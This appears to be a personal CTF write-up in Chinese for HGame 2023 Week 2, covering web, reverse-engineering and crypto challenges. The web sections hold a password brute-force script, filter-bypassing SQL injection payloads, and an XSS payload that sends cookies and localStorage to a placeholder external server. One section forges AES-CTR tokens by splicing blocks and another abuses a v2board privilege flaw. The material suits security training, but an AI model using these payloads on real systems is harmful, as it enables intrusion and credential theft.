HGame 2023 Week2 部分Writeup

HGame 2023 Week2 部分Writeup

阅读提示

本文共9,760字,阅读大约需19分钟。

第二周的解题过程中,遇到的不少有意思的题目,同时,也学习到了不少的知识,故书写此题解,作为记录。

Week2 比赛地址:https://hgame.vidar.club/contest/3

[WEB] Git Leakage

顾名思义,是一道Git泄露题,使用GitHack工具即可,下载下来的文件夹中,可看到Th1s_1s-flag文件,打开即可获得flag:

hgame{Don't^put*Git-in_web_directory}

[WEB] v2board

本题考查v2board的越权访问漏洞,相关漏洞信息可见:https://www.ctfiot.com/86202.html

简单来说,就是在用户注册登录后,会获得到authorization头,然而这个token不仅可以调用用户级API,也可以越权调用管理员API。因此,只需注册账号,获取token后,携带该token访问管理员的API(此处需要获得Admin用户的订阅链接,因此API地址可以是/api/v1/admin/user/fetch?pageSize-10),访问后即可获得管理员用户的Token。
94dba36e4f7d4b39b7aaf950167c3200
最后得到flag:

hgame{39d580e71705f6abac9a414def74c466}

[WEB] Search Commodity

首先需要对密码进行爆破,用户名从题目中得知是user01,密码是弱密码,可以用字典爆破。笔者使用了Week1Help the uncle who can't jump twice题给的字典,很快便爆破出了密码:admin123,爆破代码如下:

import requests

if __name__ == '__main__':
    url = "http://week-2.hgame.lwsec.cn:30345/login"
    dic = open("dic.txt", "r").read().split("\n")
    for i in dic:
        req = requests.post(url, data={
            'username': 'user01',
            'password': i
        }).text
        if "Login Failed" not in req:
            print(i)
            break

登陆以后拿到Cookie

SESSION=MTY3MzY5OTE4OHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18AR8PZ-KQWwv_JAl1ST0jJSnaQOEAfhkREQ0wq8-L2XU=;

保存以备后面sql注入时使用。
登陆成功后显示一个输入框,可以输入1-8以内的数字,返回物品名称和物品数量,尝试使用万能注入1 and 1=1,但没有得到预期结果。不过输入1+1时,确实能够得到id为2的物品数据,因此猜测可能存在正则判断。经过漫长的尝试和翻阅往年Writeup,发现很有可能是执行SQL语句之前对一些特定的关键词(例如select等)进行了替换,其证据便是,若在输入框中输入select1也能返回id为1的物品信息,于是,编写了一个脚本,用于探测语句被过滤的情况:

import requests

if __name__ == '__main__':
    url = "http://week-2.hgame.lwsec.cn:31573/search"
    index = 0
    s = ''
    trytxt = "0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(name),1/*a*/frOm/*a*/information_schema.tables/*a*/whEre/*a*/table_schema/*a*/LiKe/*a*/datAbase()#"
    curr_index = 0
    while True:
        if curr_index >= len(trytxt):
            break
        i = ord(trytxt[curr_index])
        ret = requests.post(url, data={
            'search_id': 'if(ascii(substr("%s", %s, 1))-%s, 1, 0)  #' % (trytxt, index + 1, i)
        }, headers={
            'Cookie': 'SESSION=MTY3MzY5OTE4OHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18AR8PZ-KQWwv_JAl1ST0jJSnaQOEAfhkREQ0wq8-L2XU=;'
        })
        if 'hard disk' not in ret.text:
            s += chr(i)
            index += 1
            print(s)
        curr_index += 1

通过使用该脚本定位被过滤的单词,并对其绕过,最终构造了第一个有效Payload,得到了数据库下的表名。注意,这里有一个巨坑,就是正则过滤了or,而information_schema数据库中正好有个or,要是这个没发现,就会走很多弯路(像我一样)。

Payload为:

0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(table_name),1/*a*/frOm/*a*/infOrmation_schema.tables/*a*/whEre/*a*/table_schema/*a*/LiKe/*a*/datAbase()#

表名为:

5ecret15here,L1st,user1nf0

很明显,flag就藏在5ecret15here表中,于是,构造第二个payload,获取列名:

0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(column_name),1/*a*/frOm/*a*/infOrmation_schema.columns/*a*/whEre/*a*/table_name/*a*/LiKe/*a*/'5ecret15here'#

得到列名为:f14gggg1shere

最后一步,通过列名得到flag:

0/*a*/UNion/*a*/SELECt/*a*/1,group_Concat(f14gggg1shere),1/*a*/frOm/*a*/5ecret15here#

最后得到flag:

hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

[WEB] Designer

这是一道比较明显的XSS注入题目。
查阅源代码,发现只有本地登录的用户才能在JWT中拥有flag,首先尝试了添加头XFF请求,可惜无效,因此只能继续审阅代码。
发现在index.js中存在一段十分可疑的代码:

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

该代码会启动浏览器访问分享页面,这使XSS注入成为可能。
通过查看preview路由相关的代码,可以发现:

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

常见的注入点都被过滤了,比如onclick等,不过问题不大,查阅preview.ejs代码就很容易发现:

<a class="button" id="button" style="<% for (const key in data) {  %><%- key %>:<%- data[key] %> ;<% }; %>">
CLICK ME
</a>

按钮是通过字符串拼接的方式设置style的,因此,只需要有一个"就能将HTML语句截断,由于脚本中不能出现window等词语,因此,可以考虑使用atob函数解码字符串后,使用eval函数执行语句,构造的js脚本需要能获取localStorage中的内容,并上传到接收信息的服务器。以下是我构造的脚本:

async function r()
	{
	var a=new XMLHttpRequest();
	var b=new FormData();
	b.append('c',document.cookie);
	b.append('l',window.location.href);
	b.append('ls',JSON.stringify(window.localStorage));
	try
		{
		b.append('cd',JSON.stringify(await cookieStore.getAll()))
	}
	catch(e)
		{
	}
	b.append('ua',navigator.userAgent);
	a.open('POST',"https://<域名>/a/stat.gif");
	a.send(b)
}
r();
document.getElementById("button").onclick = r;
setInterval(r, 1000);

将上述脚本进行BASE64编码,然后POST /button/share接口即可,BODY为:

{"border-radius":"\"><script>eval(atob('BASE64编码内容'))</script>"}

请求完毕后,稍等片刻,即可在你的服务器中接收到token:
32944d06d62c471e807bc0b415eb84d5
token内容:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6ImhnYW1le2JfYzRyZV9hYjB1dF9wcm9wM3J0MXR5X2luakVjdGlPbn0iLCJpYXQiOjE2NzM2ODQwMzJ9.VxpA-aO75JeKjliJs_aHWp47_6fxEOEN0YnNZjGHBQU

jwt.io解码,即可获得flag:

hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}

[REVERSE] before_main

用IDA打开后,可看到主程序:
3b448a29ee1642659140779238fbf5f7
发现密文和BASE64很像,加密函数应该是sub_12EB
74e625a056fe4860aec8aaf8343a2c39
经过仔细对比发现,加密过程正是BASE64标准编码过程,因此尝试对密文进行直接BASE64解码,发现结果不正确,因此猜测可能是编码表被修改。再仔细检查代码可知,qword_4020很有可能与编码表有关。
定位后发现若干qword
b826bd7bf75b497db4cf958050e853a7
转换为字符串后拼接,尝试解密,发现结果仍然不正确,这个时候,可以看看题目标题(做题时间长了一定得睡一觉,不然就会像我一样对着错误的数据一处理就是好几小时),猜测可能是有函数在Main函数之前执行了,查看子程序,发现sub_1229很可疑:
3eea9969cd4944f18116859e4328cd9b
使用qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK作为编码表,解密函数如下(代码来自互联网):

#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define _BYTE unsigned char

char base64char[] = "qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK";

char* base64_decode(char const* base64Str, char* debase64Str, int encodeStrLen) {
	int i = 0;
	int j = 0;
	int k = 0;
	char temp[4] = "";

	for (i = 0; i < encodeStrLen; i += 4) {
		for (j = 0; j < 64; j++) {
			if (*(base64Str + i) == base64char[j]) {
				temp[0] = j;
			}
		}

		for (j = 0; j < 64; j++) {
			if (*(base64Str + i + 1) == base64char[j]) {
				temp[1] = j;
			}
		}

		for (j = 0; j < 64; j++) {
			if (*(base64Str + i + 2) == base64char[j]) {
				temp[2] = j;
			}
		}

		for (j = 0; j < 64; j++) {
			if (*(base64Str + i + 3) == base64char[j]) {
				temp[3] = j;
			}
		}

		*(debase64Str + k++) = ((temp[0] << 2) & 0xFC) | ((temp[1] >> 4) & 0x03);
		if (*(base64Str + i + 2) == '=')
			break;

		*(debase64Str + k++) = ((temp[1] << 4) & 0xF0) | ((temp[2] >> 2) & 0x0F);
		if (*(base64Str + i + 3) == '=')
			break;

		*(debase64Str + k++) = ((temp[2] << 6) & 0xF0) | (temp[3] & 0x3F);
	}
	return debase64Str;
}

int main() {
	
	char * c = calloc(10000, 1);
	int len = strlen("AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=");
	printf(base64_decode("AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=", c, len));
}

最终解出flag:

hgame{s0meth1ng_run_befOre_m@in}

[REVERSE] stream

下载文件后看图标便可知道,是通过pyinstaller打包的程序,使用pyinstxtractor.py解包程序,可得到pyc文件,再通过https://tool.lu/pyc/,即可轻松反编译程序,获得的代码如下:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


def encrypt(text, key):
    result = ''
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    result = base64.b64encode(result.encode()).decode()
    return result

text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl':
    print('yes!')
    return None
None('try again...')

分析后可以发现,其实gen函数在加密和解密过程中,应该是不变的,因此,只需将加密结果作为参数,异或一次即可:

def decrypt(text, key):
    result = ''
    text = base64.b64decode(text).decode()
    for c, k in zip(text, gen(key)):
        result += chr(ord(c) ^ k)
    return result


key = 'As_we_do_as_you_know'
print(decrypt('wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl', key))

最后获得flag:

hgame{python_reverse_is_easy_with_internet}

[REVERSE] VidarCamera

下载附件,发现是一个apk包,使用jadx反编译后仔细阅读代码,可以猜测flag大概率与下面这块函数有关:
a7b6581d83f741a1b7bef9f803ba1aeb
11323069945e48bf8e14e69b89907b13
稍加思索,发现这个应该也是一个魔改的TEA加密,故编写如下程序进行解密:

public class Main {
    public static void m178setVXSXFK8(int[] iArr, int i, int i2) {
        iArr[i] = i2;
    }

    public static int m114constructorimpl(int i) {
        return i;
    }

    public static int m173getpVg5ArA(int[] iArr, int i) {
        return m114constructorimpl(iArr[i]);
    }

    /* renamed from: encrypt-hkIa6DI  reason: not valid java name */
    private static int[] m8encrypthkIa6DI(int[] iArr) {
        int[] r1 = new int[4];
        r1[0] = 2233;
        r1[1] = 4455;
        r1[2] = 6677;
        r1[3] = 8899;
        int i = 9;
        int i2;
        while (i > 0) {
            int i3 = 0;
            int i4 = 33 * 878077251; // 32*878077251
            do {
                i3++;
                i2 = i - 1;
                i4 = m114constructorimpl(i4 - 878077251);
                m178setVXSXFK8(iArr, i, m114constructorimpl(m173getpVg5ArA(iArr, i) - m114constructorimpl(m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(iArr, i2) << 4) ^ m114constructorimpl(m173getpVg5ArA(iArr, i2) >>> 5)) + m173getpVg5ArA(iArr, i2)) ^ m114constructorimpl(m173getpVg5ArA(r1, m114constructorimpl(m114constructorimpl(i4 >>> 11) & 3)) + i4))));
                m178setVXSXFK8(iArr, i2, m114constructorimpl(m173getpVg5ArA(iArr, i2) - m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(r1, m114constructorimpl(i4 & 3)) + i4) ^ m114constructorimpl(m114constructorimpl(m114constructorimpl(m173getpVg5ArA(iArr, i) << 4) ^ m114constructorimpl(m173getpVg5ArA(iArr, i) >>> 5)) + m173getpVg5ArA(iArr, i))) ^ i4)));
            } while (i3 <= 32);
            i = i2;
        }
        return iArr;
    }

    public static byte[] intToByteArray(int[] arr) {
        byte[] result = new byte[arr.length * 4];
        int index = 0;
        for (; index < arr.length; index++) {
            int i = arr[index];
            result[index * 4 + 3] = (byte) ((i >> 24) & 0xFF);
            result[index * 4 + 2] = (byte) ((i >> 16) & 0xFF);
            result[index * 4 + 1] = (byte) ((i >> 8) & 0xFF);
            result[index * 4] = (byte) (i & 0xFF);
        }
        return result;
    }


    public static void main(String[] args) {
        int[] uIntArr = {637666042, 457511012, -2038734351, 578827205, -245529892, -1652281167, 435335655, 733644188, 705177885, -596608744};
        int[] ret = m8encrypthkIa6DI(uIntArr);
        byte[] retB = intToByteArray(ret);
        for (byte c : retB) {
            System.out.printf("%c", c);
        }
    }
}

笔者在解本题时,原先将繁杂的加密代码进行了简化,但可能在简化过程中出现了一些预料之外的错误,导致始终无法得到预期解,因此最后还是选择了最麻烦的方法(嘛,能跑就行)。运行得到flag:

hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}

[REVERSE] math

本题主要考察了五元一次线性方程的求解,通过IDA反编译后,可看到源代码:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
	int i; // [rsp+0h] [rbp-180h]
	int j; // [rsp+4h] [rbp-17Ch]
	int k; // [rsp+8h] [rbp-178h]
	int m; // [rsp+Ch] [rbp-174h]
	__int64 v8[3]; // [rsp+10h] [rbp-170h] BYREF
	char v9; // [rsp+28h] [rbp-158h]
	int v10[28]; // [rsp+30h] [rbp-150h]
	int v11[28]; // [rsp+A0h] [rbp-E0h] BYREF
	int v12[26]; // [rsp+110h] [rbp-70h] BYREF
	__int64 savedregs; // [rsp+180h] [rbp+0h] BYREF

	memset(v8, 0, sizeof(v8));
	v9 = 0;
	scanf("%25s", v8);
	v10[0] = 126;
	v10[1] = 225;
	v10[2] = 62;
	v10[3] = 40;
	v10[4] = 216;
	v10[5] = 253;
	v10[6] = 20;
	v10[7] = 124;
	v10[8] = 232;
	v10[9] = 122;
	v10[10] = 62;
	v10[11] = 23;
	v10[12] = 100;
	v10[13] = 161;
	v10[14] = 36;
	v10[15] = 118;
	v10[16] = 21;
	v10[17] = 184;
	v10[18] = 26;
	v10[19] = 142;
	v10[20] = 59;
	v10[21] = 31;
	v10[22] = 186;
	v10[23] = 82;
	v10[24] = 79;
	memset(v11, 0, 100);
	v12[0] = 63998;
	v12[1] = 33111;
	v12[2] = 67762;
	v12[3] = 54789;
	v12[4] = 61979;
	v12[5] = 69619;
	v12[6] = 37190;
	v12[7] = 70162;
	v12[8] = 53110;
	v12[9] = 68678;
	v12[10] = 63339;
	v12[11] = 30687;
	v12[12] = 66494;
	v12[13] = 50936;
	v12[14] = 60810;
	v12[15] = 48784;
	v12[16] = 30188;
	v12[17] = 60104;
	v12[18] = 44599;
	v12[19] = 52265;
	v12[20] = 43048;
	v12[21] = 23660;
	v12[22] = 43850;
	v12[23] = 33646;
	v12[24] = 44270;
	for ( i = 0; i <= 4; ++i ) {
		for ( j = 0; j <= 4; ++j ) {
			for ( k = 0; k <= 4; ++k )
				v11[5 * i + j] += *((char *)&savedregs + 5 * i + k - 368) * v10[5 * k + j];
		}
	}
	for ( m = 0; m <= 24; ++m ) {
		if ( v11[m] != v12[m] ) {
			printf("no no no, your match is terrible...");
			exit(0);
		}
	}
	printf("yes!");
	return 0LL;
}

(注:代码中的(char *)&savedregs + 5 * i + k - 368指向的就是v8的地址,因此,这里可以直接看成(char *)&v8 + 5 * i + k
简单分析,即可发现,其实每一个加密的结果v11[5 * i + j]都是v8[5 * i + k] * v10[5 * k + j] (k=[0-4])的和(此处将v8视作一个字符串变量),因此,这便转化为了解方程问题,略微修改代码:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main() {
	int i; // [rsp+0h] [rbp-180h]
	int j; // [rsp+4h] [rbp-17Ch]
	int k; // [rsp+8h] [rbp-178h]
	int m; // [rsp+Ch] [rbp-174h]
	char v8[30]; // [rsp+10h] [rbp-170h] BYREF
	int v10[28]; // [rsp+30h] [rbp-150h]
	int v11[28]; // [rsp+A0h] [rbp-E0h] BYREF
	int v12[26]; // [rsp+110h] [rbp-70h] BYREF

	memset(v8, 0, sizeof(v8));
	v10[0] = 126;
	v10[1] = 225;
	v10[2] = 62;
	v10[3] = 40;
	v10[4] = 216;
	v10[5] = 253;
	v10[6] = 20;
	v10[7] = 124;
	v10[8] = 232;
	v10[9] = 122;
	v10[10] = 62;
	v10[11] = 23;
	v10[12] = 100;
	v10[13] = 161;
	v10[14] = 36;
	v10[15] = 118;
	v10[16] = 21;
	v10[17] = 184;
	v10[18] = 26;
	v10[19] = 142;
	v10[20] = 59;
	v10[21] = 31;
	v10[22] = 186;
	v10[23] = 82;
	v10[24] = 79;
	memset(v11, 0, 100);
	v12[0] = 63998;
	v12[1] = 33111;
	v12[2] = 67762;
	v12[3] = 54789;
	v12[4] = 61979;
	v12[5] = 69619;
	v12[6] = 37190;
	v12[7] = 70162;
	v12[8] = 53110;
	v12[9] = 68678;
	v12[10] = 63339;
	v12[11] = 30687;
	v12[12] = 66494;
	v12[13] = 50936;
	v12[14] = 60810;
	v12[15] = 48784;
	v12[16] = 30188;
	v12[17] = 60104;
	v12[18] = 44599;
	v12[19] = 52265;
	v12[20] = 43048;
	v12[21] = 23660;
	v12[22] = 43850;
	v12[23] = 33646;
	v12[24] = 44270;
	printf("Copy & Paste Them @ Mathematica: \n");
	for ( i = 0; i <= 4; ++i ) {
		printf("Solve[{");
		for ( j = 0; j <= 4; ++j ) {
			printf("%d ==", v12[5 * i + j]);
			for ( k = 0; k <= 4; ++k ) {
				printf(" x%d * %d +", k, v10[5 * k + j]); // 5 * i + k
			}
			printf(j < 4 ? " 0, " : " 0 ");
		}
		printf("}, {x0,x1,x2,x3,x4}]\n");
	}

	return 0LL;
}

运行后得到5组方程问题:

Solve[{63998 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 33111 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 67762 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 54789 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 61979 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]
Solve[{69619 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 37190 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 70162 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 53110 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 68678 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]
Solve[{63339 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 30687 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 66494 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 50936 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 60810 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]
Solve[{48784 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 30188 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 60104 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 44599 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 52265 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]
Solve[{43048 == x0 * 126 + x1 * 253 + x2 * 62 + x3 * 118 + x4 * 59 + 0, 23660 == x0 * 225 + x1 * 20 + x2 * 23 + x3 * 21 + x4 * 31 + 0, 43850 == x0 * 62 + x1 * 124 + x2 * 100 + x3 * 184 + x4 * 186 + 0, 33646 == x0 * 40 + x1 * 232 + x2 * 161 + x3 * 26 + x4 * 82 + 0, 44270 == x0 * 216 + x1 * 122 + x2 * 36 + x3 * 142 + x4 * 79 + 0 }, {x0,x1,x2,x3,x4}]

Mathematica中运行即可获得答案:
b5d4a282c45e4520a3e7dfd567f86469

整理成C语句,运行一下

	char result[] = {104,103,97,109,101,123,121,48,117,114,95,109,64,116,104,95,49,115,95,103,79,48,100,125,0};
	printf(result);

即可得到最终flag:

hgame{y0ur_m@th_1s_gO0d}

[CRYPTO] 零元购年货商店

本题题解思路可能与官方题解不同
这道题和菜狗杯的一道WEB题有些类似,利用的是AES加密的缺陷。下载代码后,可以发现,这是一个原神广告(虽然笔者不玩原神)GO语言编写的Web应用,审阅代码后,发现
c6cb414a50a341b5ac3c0d5e0d453279
在购买商品时,如果购买的是flag,程序会判断当前登录的用户名是否为Vidar-Tu,如果不是,则报错。而判断登录的依据是经过AES加密的Token,Token在登录时获得:
8918e71a238c42b4b8c35aeb9681c6d3
对Token的加密代码如下:
2b3b9a8922a343a5a089566fa330ea39
审阅代码可知,加密方式为AES-CTR加密,秘钥长度为16bytes。该加密会将明文分成16字节的小块,然后对每一块进行加密,与此同时,会有一个计数器用于保存加密的轮次数,该加密的特点是无需在末尾补齐明文,使得长度为16的倍数。本题中,被加密的明文大致是形如下文的JSON字符串(至于字符串是否有空格,可以在源代码中Printf来判断):

{"Name":"username","Created":1673801423,"Uid":"230555433"}

对该文本加密时,会16字节16字节加密,为了便于观察,我们可以将它每16字节换一行:

{"Name":"usernam
e","Created":167
3801423,"Uid":"2
30555433"}

在这里,便存在一个可以利用的漏洞,由于明文是一块一块加密的,因此,除了轮次之外,上一块的明文并不会影响到下一块明文的加密结果,所以,我们可以首先构造:

{"Name":"Vidar-T
","Created":1673
802266,"Uid":"23
0555433"}

即用户名为Vidar-T,获取加密Token后截取第一段,即:

{"Name":"Vidar-T

接着,再构造:

{"Name":"uuuuuuu
u","Created":167
3802266,"Uid":"2
30555433"}

即用户名为uuuuuuuu,获取加密Token后截取第二段到最后,即:

u","Created":167
3802266,"Uid":"2
30555433"}

将两段密文拼接,解密出来的明文应当就是:

{"Name":"Vidar-T
u","Created":167
3802266,"Uid":"2
30555433"}

于是,成功将自己的用户名改为了Vidar-Tu。实现Token构造的脚本如下:

import base64

ori1 = 'J9W/3Ui2WMSczLc9XMpp3uMOi1BiNqY+yR8r7UtRc7K5jXu6CEskxKCXAGvylO95Jql0dCDdRonp'
ori2 = 'J9W/3Ui2WMSc76ssSM0x/7QAhTFTIaIr2B5t9UBWcrayhX+7CkM7yterDS3qjP94Jax0dCHaRpi2zg=='


def sep(num, data):
    res = []
    cnt = 0
    bb = bytearray()
    for i in data:
        bb.append(i)
        cnt += 1
        if cnt == num:
            cnt = 0
            res.append(bb)
            bb = bytearray()
    if cnt > 0:
        res.append(bb)
    return res


if __name__ == '__main__':
    b641 = base64.b64decode(ori1)
    b642 = base64.b64decode(ori2)
    r1 = sep(16, b641)
    r2 = sep(16, b642)
    final = bytearray()
    final.extend(r1[0])
    final.extend(r2[1])
    final.extend(r2[2])
    final.extend(r2[3])
    print(base64.b64encode(final).decode())

将构造好的Token替换入Cookie(注意URLEncode),然后打开零元购超市,便可购买到flag(看到flag后发现,似乎字符翻转攻击也可以解出这道题):

hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}

[CRYPTO] 包里有什么

首先观察加密代码:

from random import randint
from libnum import gcd, s2n

from secret import flag

plain = flag[6:-1]
assert flag == 'hgame{' + plain + '}'
v = bin(s2n(plain))[2:]
l = len(v)
a = [2 << i for i in range(l)]
m = randint(sum(a), 2 << l + 1)
w = randint(0, m)
assert gcd(w, m) == 1
b = [w * i % m for i in a]

c = 0
for i in range(l):
    c += b[i] * int(v[i])

print(f'm = {m}')
print(f'b0 = {b[0]}')
print(f'c = {c}')

# m = 1528637222531038332958694965114330415773896571891017629493424
# b0 = 69356606533325456520968776034730214585110536932989313137926
# c = 93602062133487361151420753057739397161734651609786598765462162

可以获取到的信息是:

  • mb0c已知
  • a数组包含了22^l的所有数(l为字符串长度)
  • msum(a)2^(l+1)之间的一个随机数
  • w0m之间的随机数
  • b数组的每个元素都是a数组每个元素与w的乘积模m后的结果
  • v数组是明文在二进制下的形式,因此,v中包含的只可能是0或者1
  • c本质上是从b数组中,以v数组为依据取了一些数字求和

因此,首先,我们可以反推出w和字符串长度l,代码如下:

# get W
k = 0
while True:
    w = (b0 + k * m)
    if w // 2 > m:
        break
    if w % 2 == 0:
        print(w // 2)
    k += 1

# judge length
l = 1
while True:
    a = [2 << i for i in range(l)]
    rangeM = range(sum(a), 2 << l + 1)
    if m in rangeM:
        print(l)
    l += 1

得到wl分别为:

w=34678303266662728260484388017365107292555268466494656568963
l=198

w还有一解,为:

w=798996914532181894739831870574530315179503554412003471315675

不过二者结果是一样的,因此任选其一即可。

接着,我们将变量c化为公式后,可以看成是:
c=(wa1) Mod mc=(w*a1)\ Mod\ m
此处的a1即需要求的值,由于笔者是数学苦手,此处的数学演算是数学系同学帮忙完成的,就不在这里班门弄斧了,直接放出计算代码:

k_ = gmpy2.invert(m, w)
k = (w - (c % w)) * k_
a1 = (k * m + c) // w
a1 = a1 % m

计算得到的a1并非最后字符串,因为在c的计算过程中,是从小到大累加的,例如v[0]1时,增加的值为0b10v[1]1时,增加0b100,以此类推,因此,得出的a1是原字符串值的逆序,应该倒过来才是最终的答案。
完整代码如下:


import string
from random import randint, shuffle

import gmpy2
from Crypto.Util.number import long_to_bytes
from libnum import gcd, s2n, n2s

# print(2 << 0)
#
# plain = "1234567"
# v = bin(s2n(plain))[2:]
# l = len(v)
# a = [2 << i for i in range(l)]
# m = randint(sum(a), 2 << l + 1)
# w = randint(0, m)
# assert gcd(w, m) == 1
# b = [w * i % m for i in a]
#
# c = 0
# for i in range(l):
#     c += b[i] * int(v[i])
#
# print(f'm = {m}')
# print(f'b0 = {b[0]}')
# print(f'c = {c}')

# get W
# k = 0
# while True:
#     w = (b0 + k * m)
#     if w // 2 > m:
#         break
#     if w % 2 == 0:
#         print(w // 2)
#     k += 1
# pass

# judge length
# l = 1
# while True:
#     a = [2 << i for i in range(l)]
#     rangeM = range(sum(a), 2 << l + 1)
#     if m in rangeM:
#         print(l)
#     l += 1


if __name__ == '__main__':
    w = 34678303266662728260484388017365107292555268466494656568963  # ,
    # w = 798996914532181894739831870574530315179503554412003471315675  # 二者计算出的b是一样的
    l = 198
    m = 1528637222531038332958694965114330415773896571891017629493424
    b0 = 69356606533325456520968776034730214585110536932989313137926
    c = 93602062133487361151420753057739397161734651609786598765462162

    a = [2 << i for i in range(l)]
    b = [w * i % m for i in a]

    k_ = gmpy2.invert(m, w)
    k = (w - (c % w)) * k_
    a1 = (k * m + c) // w
    a1 = a1 % m
    print(int('0b' + bin(a1)[2:][::-1], 2))
    print(n2s(int('0b' + bin(a1)[2:][::-1], 2)))

    # dfs(c, 0, '')

# m = 1528637222531038332958694965114330415773896571891017629493424
# b0 = 69356606533325456520968776034730214585110536932989313137926
# c = 93602062133487361151420753057739397161734651609786598765462162

最后得到flag:

hgame{1t's_4n_3asy_ba9_isn7_it?}

[CRYPTO] Rabin

由题名可知,本题的加密算法是Robin算法,关于该算法的说明和解密代码可见该链接:https://www.jianshu.com/p/c18ee34058ed
本题直接使用了文章中的解密代码:

import gmpy2
from Crypto.Util.number import long_to_bytes

p = 65428327184555679690730137432886407240184329534772421373193521144693375074983
q = 98570810268705084987524975482323456006480531917292601799256241458681800554123
n = p * q
e = 2
c = 0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556

c1 = pow(c, (p + 1) // 4, p)
c2 = pow(c, (q + 1) // 4, q)
cp1 = p - c1
cp2 = q - c2
t1 = gmpy2.invert(p, q)  # p的模q逆元
t2 = gmpy2.invert(q, p)  # q的模p逆元

m1 = (q * c1 * t2 + p * c2 * t1) % n
m2 = (q * c1 * t2 + p * cp2 * t1) % n  # or m2=n-m1
m3 = (q * cp1 * t2 + p * c2 * t1) % n
m4 = (q * cp1 * t2 + p * cp2 * t1) % n  # or m4=n-m3

print(long_to_bytes(m1))
print(long_to_bytes(m2))
print(long_to_bytes(m3))
